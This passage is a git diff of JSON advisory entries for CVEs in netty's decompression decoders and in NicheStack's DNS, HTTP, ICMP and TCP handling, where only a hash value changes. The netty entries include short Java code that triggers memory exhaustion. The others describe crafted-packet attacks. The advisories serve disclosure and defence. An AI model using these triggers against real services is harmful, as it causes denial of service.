\nA vulnerability was found in netty's Bzip2 decoder - when using the netty library and accepting arbitrary data streams to decode, netty does not limit the stream in any way.\nAn attacker that can submit a big file to decompress, may cause memory exhaustion which will lead to denial of service on the netty daemon process and possibly other processes on the same machine.
\nExample code that can trigger the issue -
\npublic static void main(String[] args) throws Exception {\nBzip2Decoder decoder = new Bzip2Decoder(); // Create the decompressor\nfinal ByteBufAllocator allocator = new PooledByteBufAllocator(false);\nFileInputStream file = new FileInputStream(\"C:\\\\temp\\\\100GB.bz2\"); // External input\nint inputChunks = 64 * 1024;\nByteBuf buf = allocator.heapBuffer(inputChunks);\nChannelHandlerContext ctx = new StubChannelHandlerContext(allocator);\nwhile (buf.writeBytes(file, buf.writableBytes()) >= 0) {\nSystem.out.println(\"Input: \" + buf.capacity());\ndecoder.channelRead(ctx, buf); // BUG, No internal resource release!\nbuf = allocator.heapBuffer(inputChunks);\ndecoder.channelReadComplete(ctx);\n}\nPoC
\nNo PoC is supplied for this issue.
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue.
\nReferences
\n(JFrog) Denial of Service Security Vulnerabilities in Netty Networking Library
\n\n","description":"CVE-2021-37136 High severity. Resource exhaustion in netty's Bzip2 decoder leads to denial of service","date_published":"2021-09-09","xray_id":"XRAY-186801","vul_id":"CVE-2021-37136","severity":"high","discovered_by":"Ori Hollander","last_updated":"2021-09-09","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"netty Bzip2 decoder DoS","path":"/vulnerabilities/netty-bzip2-decoder-dos-xray-186801/","content":"Summary
\nResource exhaustion in netty's Bzip2 decoder leads to denial of service
\nComponent
\n\nAffected versions
\n[4.1.0 - 4.1.67], fixed in 4.1.68
\nDescription
\nnetty is a popular client/server framework which enables quick and easy development of network applications such as protocol servers and clients.
\nA vulnerability was found in netty's Bzip2 decoder - when using the netty library and accepting arbitrary data streams to decode, netty does not limit the stream in any way.\nAn attacker that can submit a big file to decompress, may cause memory exhaustion which will lead to denial of service on the netty daemon process and possibly other processes on the same machine.
\nExample code that can trigger the issue -
\npublic static void main(String[] args) throws Exception {\nBzip2Decoder decoder = new Bzip2Decoder(); // Create the decompressor\nfinal ByteBufAllocator allocator = new PooledByteBufAllocator(false);\nFileInputStream file = new FileInputStream(\"C:\\\\temp\\\\100GB.bz2\"); // External input\nint inputChunks = 64 * 1024;\nByteBuf buf = allocator.heapBuffer(inputChunks);\nChannelHandlerContext ctx = new StubChannelHandlerContext(allocator);\nwhile (buf.writeBytes(file, buf.writableBytes()) >= 0) {\nSystem.out.println(\"Input: \" + buf.capacity());\ndecoder.channelRead(ctx, buf); // BUG, No internal resource release!\nbuf = allocator.heapBuffer(inputChunks);\ndecoder.channelReadComplete(ctx);\n}\nPoC
\nNo PoC is supplied for this issue.
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue.
\nReferences
\n(JFrog) Denial of Service Security Vulnerabilities in Netty Networking Library
\n\n","description":"CVE-2021-37136 High severity. Resource exhaustion in netty's Bzip2 decoder leads to denial of service","date_published":"2021-09-09","xray_id":"XRAY-186801","vul_id":"CVE-2021-37136","severity":"high","discovered_by":"Ori Hollander","last_updated":"2021-09-09","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/netty-snappy-decoder-dos-xray-186810/index.json b/assets/data/vulnerabilities/netty-snappy-decoder-dos-xray-186810/index.json index e80f92c6bd..25fe51e85d 100644 --- a/assets/data/vulnerabilities/netty-snappy-decoder-dos-xray-186810/index.json +++ b/assets/data/vulnerabilities/netty-snappy-decoder-dos-xray-186810/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"netty Snappy decoder DoS","path":"/vulnerabilities/netty-snappy-decoder-dos-xray-186810/","content":"Summary
\nResource exhaustion in netty's Snappy decoder leads to denial of service.
\nComponent
\n\nAffected versions
\n[4.1.0 - 4.1.67], fixed in 4.1.68
\nDescription
\nnetty is a popular client/server framework which enables quick and easy development of network applications such as protocol servers and clients.
\nA vulnerability was found in netty's Snappy decoder - when using the netty library and accepting arbitrary data streams to decode, netty does not limit the stream in any way.\nAn attacker that can submit a big file to decompress, may cause memory exhaustion which will lead to denial of service on the netty daemon process and possibly other processes on the same machine.
\nExample code that can trigger the issue -
\npublic static void main(String[] args) throws Exception {\nSnappyFrameDecoder decoder = new SnappyFrameDecoder(); // Create the decompressor\nfinal ByteBufAllocator allocator = new PooledByteBufAllocator(false);\nFileInputStream file = new FileInputStream(\"C:\\\\temp\\\\100GB.snappy\"); // External input\nint inputChunks = 64 * 1024;\nByteBuf buf = allocator.heapBuffer(inputChunks);\nChannelHandlerContext ctx = new StubChannelHandlerContext(allocator);\nwhile (buf.writeBytes(file, buf.writableBytes()) >= 0) {\nSystem.out.println(\"Input: \" + buf.capacity());\ndecoder.channelRead(ctx, buf); // BUG, No internal resource release!\nbuf = allocator.heapBuffer(inputChunks);\ndecoder.channelReadComplete(ctx);\n}\nPoC
\nNo PoC is supplied for this issue.
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue.
\nReferences
\n(JFrog) Denial of Service Security Vulnerabilities in Netty Networking Library
\n\n","description":"CVE-2021-37137 High severity. Resource exhaustion in netty's Snappy decoder leads to denial of service.","date_published":"2021-09-09","xray_id":"XRAY-186810","vul_id":"CVE-2021-37137","severity":"high","discovered_by":"Ori Hollander","last_updated":"2021-09-09","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"netty Snappy decoder DoS","path":"/vulnerabilities/netty-snappy-decoder-dos-xray-186810/","content":"Summary
\nResource exhaustion in netty's Snappy decoder leads to denial of service.
\nComponent
\n\nAffected versions
\n[4.1.0 - 4.1.67], fixed in 4.1.68
\nDescription
\nnetty is a popular client/server framework which enables quick and easy development of network applications such as protocol servers and clients.
\nA vulnerability was found in netty's Snappy decoder - when using the netty library and accepting arbitrary data streams to decode, netty does not limit the stream in any way.\nAn attacker that can submit a big file to decompress, may cause memory exhaustion which will lead to denial of service on the netty daemon process and possibly other processes on the same machine.
\nExample code that can trigger the issue -
\npublic static void main(String[] args) throws Exception {\nSnappyFrameDecoder decoder = new SnappyFrameDecoder(); // Create the decompressor\nfinal ByteBufAllocator allocator = new PooledByteBufAllocator(false);\nFileInputStream file = new FileInputStream(\"C:\\\\temp\\\\100GB.snappy\"); // External input\nint inputChunks = 64 * 1024;\nByteBuf buf = allocator.heapBuffer(inputChunks);\nChannelHandlerContext ctx = new StubChannelHandlerContext(allocator);\nwhile (buf.writeBytes(file, buf.writableBytes()) >= 0) {\nSystem.out.println(\"Input: \" + buf.capacity());\ndecoder.channelRead(ctx, buf); // BUG, No internal resource release!\nbuf = allocator.heapBuffer(inputChunks);\ndecoder.channelReadComplete(ctx);\n}\nPoC
\nNo PoC is supplied for this issue.
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue.
\nReferences
\n(JFrog) Denial of Service Security Vulnerabilities in Netty Networking Library
\n\n","description":"CVE-2021-37137 High severity. Resource exhaustion in netty's Snappy decoder leads to denial of service.","date_published":"2021-09-09","xray_id":"XRAY-186810","vul_id":"CVE-2021-37137","severity":"high","discovered_by":"Ori Hollander","last_updated":"2021-09-09","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-dns-client-does-not-set-sufficiently-random-source-ports-xray-194058/index.json b/assets/data/vulnerabilities/nichestack-dns-client-does-not-set-sufficiently-random-source-ports-xray-194058/index.json index 1032e9fcc2..df57b901eb 100644 --- a/assets/data/vulnerabilities/nichestack-dns-client-does-not-set-sufficiently-random-source-ports-xray-194058/index.json +++ b/assets/data/vulnerabilities/nichestack-dns-client-does-not-set-sufficiently-random-source-ports-xray-194058/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack DNS client does not set sufficiently random source ports","path":"/vulnerabilities/nichestack-dns-client-does-not-set-sufficiently-random-source-ports-xray-194058/","content":"Summary
\nNicheStack DNS client does not set sufficiently random source ports
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nAn issue was discovered in HCC embedded InterNiche 4.0.1. This vulnerability allows the attacker to predict a DNS query's source port in order to send forged DNS response packets that will be accepted as valid answers to the DNS client's requests (without sniffing the specific request). Data is predictable because it is based on the time of day, and has too few bits.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-31228 Medium severity. NicheStack DNS client does not set sufficiently random source ports","date_published":"2021-08-04","xray_id":"XRAY-194058","vul_id":"CVE-2021-31228","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack DNS client does not set sufficiently random source ports","path":"/vulnerabilities/nichestack-dns-client-does-not-set-sufficiently-random-source-ports-xray-194058/","content":"Summary
\nNicheStack DNS client does not set sufficiently random source ports
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nAn issue was discovered in HCC embedded InterNiche 4.0.1. This vulnerability allows the attacker to predict a DNS query's source port in order to send forged DNS response packets that will be accepted as valid answers to the DNS client's requests (without sniffing the specific request). Data is predictable because it is based on the time of day, and has too few bits.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-31228 Medium severity. NicheStack DNS client does not set sufficiently random source ports","date_published":"2021-08-04","xray_id":"XRAY-194058","vul_id":"CVE-2021-31228","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-dns-client-oob-r-xray-194047/index.json b/assets/data/vulnerabilities/nichestack-dns-client-oob-r-xray-194047/index.json index 7d56787ed3..beb3c8cf17 100644 --- a/assets/data/vulnerabilities/nichestack-dns-client-oob-r-xray-194047/index.json +++ b/assets/data/vulnerabilities/nichestack-dns-client-oob-r-xray-194047/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack DNS client OOB-R","path":"/vulnerabilities/nichestack-dns-client-oob-r-xray-194047/","content":"Summary
\nThe NicheStack routine for parsing DNS domain names does not check whether a compression pointer points within the bounds of a packet, which leads to OOB-R
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nAn issue was discovered in HCC Embedded NicheStack IPv4 4.1. The dnc_copy_in routine for parsing DNS domain names does not check whether a domain name compression pointer is pointing within the bounds of the packet (e.g., forward compression pointer jumps are allowed), which leads to an Out-of-bounds Read, and a Denial-of-Service as a consequence.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack DNS client through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-25767 High severity. The NicheStack routine for parsing DNS domain names does not check whether a compression pointer points within the bounds of a packet, which leads to OOB-R","date_published":"2021-08-04","xray_id":"XRAY-194047","vul_id":"CVE-2020-25767","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack DNS client OOB-R","path":"/vulnerabilities/nichestack-dns-client-oob-r-xray-194047/","content":"Summary
\nThe NicheStack routine for parsing DNS domain names does not check whether a compression pointer points within the bounds of a packet, which leads to OOB-R
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nAn issue was discovered in HCC Embedded NicheStack IPv4 4.1. The dnc_copy_in routine for parsing DNS domain names does not check whether a domain name compression pointer is pointing within the bounds of the packet (e.g., forward compression pointer jumps are allowed), which leads to an Out-of-bounds Read, and a Denial-of-Service as a consequence.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack DNS client through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-25767 High severity. The NicheStack routine for parsing DNS domain names does not check whether a compression pointer points within the bounds of a packet, which leads to OOB-R","date_published":"2021-08-04","xray_id":"XRAY-194047","vul_id":"CVE-2020-25767","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-dns-client-oob-r-xray-194048/index.json b/assets/data/vulnerabilities/nichestack-dns-client-oob-r-xray-194048/index.json index 49c4a9a550..d970ef7cbd 100644 --- a/assets/data/vulnerabilities/nichestack-dns-client-oob-r-xray-194048/index.json +++ b/assets/data/vulnerabilities/nichestack-dns-client-oob-r-xray-194048/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack DNS client OOB-R","path":"/vulnerabilities/nichestack-dns-client-oob-r-xray-194048/","content":"Summary
\nNicheStack routine for parsing DNS responses does not check whether the number of queries/responses specified in the packet header corresponds to the query/response data available in the DNS packet, leading to OOB-R
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nThe DNS feature in InterNiche NicheStack TCP/IP 4.0.1 is affected by: Out-of-bounds Read. The impact is: a denial of service (remote). The component is: DNS response processing in function: dns_upcall(). The attack vector is: a specific DNS response packet. The code does not check whether the number of queries/responses specified in the DNS packet header corresponds to the query/response data available in the DNS packet.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack DNS client through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-25927 High severity. NicheStack routine for parsing DNS responses does not check whether the number of queries/responses specified in the packet header corresponds to the query/response data available in the DNS packet, leading to OOB-R","date_published":"2021-08-04","xray_id":"XRAY-194048","vul_id":"CVE-2020-25927","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack DNS client OOB-R","path":"/vulnerabilities/nichestack-dns-client-oob-r-xray-194048/","content":"Summary
\nNicheStack routine for parsing DNS responses does not check whether the number of queries/responses specified in the packet header corresponds to the query/response data available in the DNS packet, leading to OOB-R
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nThe DNS feature in InterNiche NicheStack TCP/IP 4.0.1 is affected by: Out-of-bounds Read. The impact is: a denial of service (remote). The component is: DNS response processing in function: dns_upcall(). The attack vector is: a specific DNS response packet. The code does not check whether the number of queries/responses specified in the DNS packet header corresponds to the query/response data available in the DNS packet.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack DNS client through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-25927 High severity. NicheStack routine for parsing DNS responses does not check whether the number of queries/responses specified in the packet header corresponds to the query/response data available in the DNS packet, leading to OOB-R","date_published":"2021-08-04","xray_id":"XRAY-194048","vul_id":"CVE-2020-25927","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-dns-client-txid-weak-random-xray-194057/index.json b/assets/data/vulnerabilities/nichestack-dns-client-txid-weak-random-xray-194057/index.json index 88fad304d5..5a4701ad52 100644 --- a/assets/data/vulnerabilities/nichestack-dns-client-txid-weak-random-xray-194057/index.json +++ b/assets/data/vulnerabilities/nichestack-dns-client-txid-weak-random-xray-194057/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack DNS client TXID weak random","path":"/vulnerabilities/nichestack-dns-client-txid-weak-random-xray-194057/","content":"Summary
\nNicheStack DNS client does not set sufficiently random transaction IDs
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nThe DNS client in InterNiche NicheStack TCP/IP 4.0.1 is affected by: Insufficient entropy in the DNS transaction id. The impact is: DNS cache poisoning (remote). The component is: dns_query_type(). The attack vector is: a specific DNS response packet.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-25926 Medium severity. NicheStack DNS client does not set sufficiently random transaction IDs","date_published":"2021-08-04","xray_id":"XRAY-194057","vul_id":"CVE-2020-25926","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack DNS client TXID weak random","path":"/vulnerabilities/nichestack-dns-client-txid-weak-random-xray-194057/","content":"Summary
\nNicheStack DNS client does not set sufficiently random transaction IDs
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nThe DNS client in InterNiche NicheStack TCP/IP 4.0.1 is affected by: Insufficient entropy in the DNS transaction id. The impact is: DNS cache poisoning (remote). The component is: dns_query_type(). The attack vector is: a specific DNS response packet.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-25926 Medium severity. NicheStack DNS client does not set sufficiently random transaction IDs","date_published":"2021-08-04","xray_id":"XRAY-194057","vul_id":"CVE-2020-25926","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-http-server-dos-xray-194049/index.json b/assets/data/vulnerabilities/nichestack-http-server-dos-xray-194049/index.json index 83257afef9..c2d4c4685d 100644 --- a/assets/data/vulnerabilities/nichestack-http-server-dos-xray-194049/index.json +++ b/assets/data/vulnerabilities/nichestack-http-server-dos-xray-194049/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack HTTP server DoS","path":"/vulnerabilities/nichestack-http-server-dos-xray-194049/","content":"Summary
\nA heap buffer overflow exists in NicheStack in the code that parses the HTTP POST request due to an incorrect signed integer comparison
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nAn issue was discovered in HCC embedded InterNiche 4.0.1. A potential heap buffer overflow exists in the code that parses the HTTP POST request, due to an incorrect signed integer comparison. This vulnerability requires the attacker to send a malformed HTTP packet with a negative Content-Length, which bypasses the size checks and results in a large heap overflow in the wbs_multidata buffer copy.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack HTTP server through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-31227 High severity. A heap buffer overflow exists in NicheStack in the code that parses the HTTP POST request due to an incorrect signed integer comparison","date_published":"2021-08-04","xray_id":"XRAY-194049","vul_id":"CVE-2021-31227","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack HTTP server DoS","path":"/vulnerabilities/nichestack-http-server-dos-xray-194049/","content":"Summary
\nA heap buffer overflow exists in NicheStack in the code that parses the HTTP POST request due to an incorrect signed integer comparison
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nAn issue was discovered in HCC embedded InterNiche 4.0.1. A potential heap buffer overflow exists in the code that parses the HTTP POST request, due to an incorrect signed integer comparison. This vulnerability requires the attacker to send a malformed HTTP packet with a negative Content-Length, which bypasses the size checks and results in a large heap overflow in the wbs_multidata buffer copy.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nIf not needed, disable the NicheStack HTTP server through the NicheStack CLI
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-31227 High severity. A heap buffer overflow exists in NicheStack in the code that parses the HTTP POST request due to an incorrect signed integer comparison","date_published":"2021-08-04","xray_id":"XRAY-194049","vul_id":"CVE-2021-31227","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194052/index.json b/assets/data/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194052/index.json index f3c1d03038..ec25893ea0 100644 --- a/assets/data/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194052/index.json +++ b/assets/data/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194052/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack ICMP payload OOB-R","path":"/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194052/","content":"Summary
\nNicheStack ICMP IP payload size read out of bounds
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack code that parses ICMP packets relies on an unchecked value of the IP payload size (extracted from the IP header) to compute the ICMP checksum. When the IP payload size is set to be smaller than the size of the IP header, the ICMP checksum computation function may read out of bounds
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-35683 High severity. NicheStack ICMP IP payload size read out of bounds","date_published":"2021-08-04","xray_id":"XRAY-194052","vul_id":"CVE-2020-35683","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack ICMP payload OOB-R","path":"/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194052/","content":"Summary
\nNicheStack ICMP IP payload size read out of bounds
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack code that parses ICMP packets relies on an unchecked value of the IP payload size (extracted from the IP header) to compute the ICMP checksum. When the IP payload size is set to be smaller than the size of the IP header, the ICMP checksum computation function may read out of bounds
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-35683 High severity. NicheStack ICMP IP payload size read out of bounds","date_published":"2021-08-04","xray_id":"XRAY-194052","vul_id":"CVE-2020-35683","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194053/index.json b/assets/data/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194053/index.json index c0ac9892f7..201d61a30e 100644 --- a/assets/data/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194053/index.json +++ b/assets/data/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194053/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack ICMP payload OOB-R","path":"/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194053/","content":"Summary
\nNicheStack ICMP IP payload size read out of bounds
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack code that parses TCP packets relies on an unchecked value of the IP payload size (extracted from the IP header) to compute the length of the TCP payload within the TCP checksum computation function. When the IP payload size is set to be smaller than the size of the IP header, the TCP checksum computation function may read out of bounds. A low-impact write-out-of-bounds is also possible
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-35684 High severity. NicheStack ICMP IP payload size read out of bounds","date_published":"2021-08-04","xray_id":"XRAY-194053","vul_id":"CVE-2020-35684","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack ICMP payload OOB-R","path":"/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194053/","content":"Summary
\nNicheStack ICMP IP payload size read out of bounds
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack code that parses TCP packets relies on an unchecked value of the IP payload size (extracted from the IP header) to compute the length of the TCP payload within the TCP checksum computation function. When the IP payload size is set to be smaller than the size of the IP header, the TCP checksum computation function may read out of bounds. A low-impact write-out-of-bounds is also possible
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2020-35684 High severity. NicheStack ICMP IP payload size read out of bounds","date_published":"2021-08-04","xray_id":"XRAY-194053","vul_id":"CVE-2020-35684","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-ip-length-dos-xray-194051/index.json b/assets/data/vulnerabilities/nichestack-ip-length-dos-xray-194051/index.json index 2a3e648cc8..14fb284b7d 100644 --- a/assets/data/vulnerabilities/nichestack-ip-length-dos-xray-194051/index.json +++ b/assets/data/vulnerabilities/nichestack-ip-length-dos-xray-194051/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack IP length DoS","path":"/vulnerabilities/nichestack-ip-length-dos-xray-194051/","content":"Summary
\nNicheStack TCP header IP length integer overflow leads to DoS
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack TCP header processing code doesn’t sanitize the length of the IP length (header + data). With a crafted IP packet an integer overflow would occur whenever the length of the IP data is calculated by subtracting the length of the header from the length of the total IP packet
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-31401 High severity. NicheStack TCP header IP length integer overflow leads to DoS","date_published":"2021-08-04","xray_id":"XRAY-194051","vul_id":"CVE-2021-31401","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"NicheStack IP length DoS","path":"/vulnerabilities/nichestack-ip-length-dos-xray-194051/","content":"Summary
\nNicheStack TCP header IP length integer overflow leads to DoS
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
\nNicheStack TCP header processing code doesn’t sanitize the length of the IP length (header + data). With a crafted IP packet an integer overflow would occur whenever the length of the IP data is calculated by subtracting the length of the header from the length of the total IP packet
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) INFRA:HALT New Vulnerabilities Impacting OT and Critical Infrastructure
\n\n","description":"CVE-2021-31401 High severity. NicheStack TCP header IP length integer overflow leads to DoS","date_published":"2021-08-04","xray_id":"XRAY-194051","vul_id":"CVE-2021-31401","severity":"high","discovered_by":"Denys Vozniuk","last_updated":"2021-08-04","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/nichestack-tcp-isns-are-generated-in-a-predictable-manner-xray-194054/index.json b/assets/data/vulnerabilities/nichestack-tcp-isns-are-generated-in-a-predictable-manner-xray-194054/index.json index 7eebd88147..935b0650de 100644 --- a/assets/data/vulnerabilities/nichestack-tcp-isns-are-generated-in-a-predictable-manner-xray-194054/index.json +++ b/assets/data/vulnerabilities/nichestack-tcp-isns-are-generated-in-a-predictable-manner-xray-194054/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"NicheStack TCP ISNs are generated in a predictable manner","path":"/vulnerabilities/nichestack-tcp-isns-are-generated-in-a-predictable-manner-xray-194054/","content":"Summary
\nNicheStack TCP ISNs are generated in a predictable manner
\nComponent
\n\nAffected versions
\nInterNiche (, 4.3), fixed in 4.3
\nDescription
